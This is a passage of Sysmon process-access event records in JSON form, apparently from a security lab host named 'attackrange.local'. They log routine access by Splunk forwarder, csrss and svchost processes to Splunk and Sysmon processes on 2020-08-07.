AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6101,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41EE-5F2D-0000-001087050900}\r\nTargetProcessId: 5012\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41EE-5F2D-0000-001087050900}","TargetProcessId":"5012","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6102,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41EE-5F2D-0000-001087050900}\r\nTargetProcessId: 5012\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41EE-5F2D-0000-001087050900}","TargetProcessId":"5012","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6103,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6104,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6105,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6106,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6107,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6108,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6109,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 